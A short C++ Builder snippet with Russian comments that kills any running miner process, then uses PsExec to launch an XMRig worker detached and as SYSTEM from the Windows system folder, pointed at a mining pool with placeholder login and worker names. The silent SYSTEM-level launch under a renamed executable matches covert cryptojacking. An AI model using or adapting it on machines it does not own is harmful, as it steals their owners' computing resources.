//////////////////////////////////////////////////////////////
// Содержимое основной (и единственной) формы на Builder++6
//////////////////////////////////////////////////////////////
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// Далее мой код. Не долго думая, использовал стандартный элемент Edit как буфер.
// Пример для запуска XMRig с помощью Psexec от имени системы
char param[256];
int result;
unsigned long Size = MAX_COMPUTERNAME_LENGTH + 1;
char *Buffer = new char[Size];
Edit1->Text=" /f /im YOUR_NAME_WORKER.exe"; //введите имя используемого майнера
strcpy(param,Edit1->Text.c_str());
result=spawnl(P_WAIT, "c:\\windows\\system32\\taskkill.exe",param,NULL); // убить майнер, если уже запущен
GetComputerName(Buffer, &Size); // получить имя компьютера
////////////////////////////////////////////////////////////////////////////
Edit1->Text=" -o stratum+tcp://xmr.hashcity.org:3100 -u YOUR_LOGIN."; //здесь введите свой логин
////////////////////////////////////////////////////////////////////////////
Edit1->Text=Edit1->Text+Buffer;
Edit1->Text=Edit1->Text+" -p x --donate-level 1 --api-port 4003"; // параметры запуска, есть возможности для творчества
Edit1->Text=" -d -s -accepteula c:\\windows\\system\\YOUR_NAME_WORKER.exe"+Edit1->Text; //Путь к воркеру плюс параметры запуска
strcpy(param,Edit1->Text.c_str());
result=spawnl(P_WAIT, "c:\\windows\\system32\\psexec.exe",param,NULL); //Можно попробовать NO_WAIT
exit(0);
}
XMRig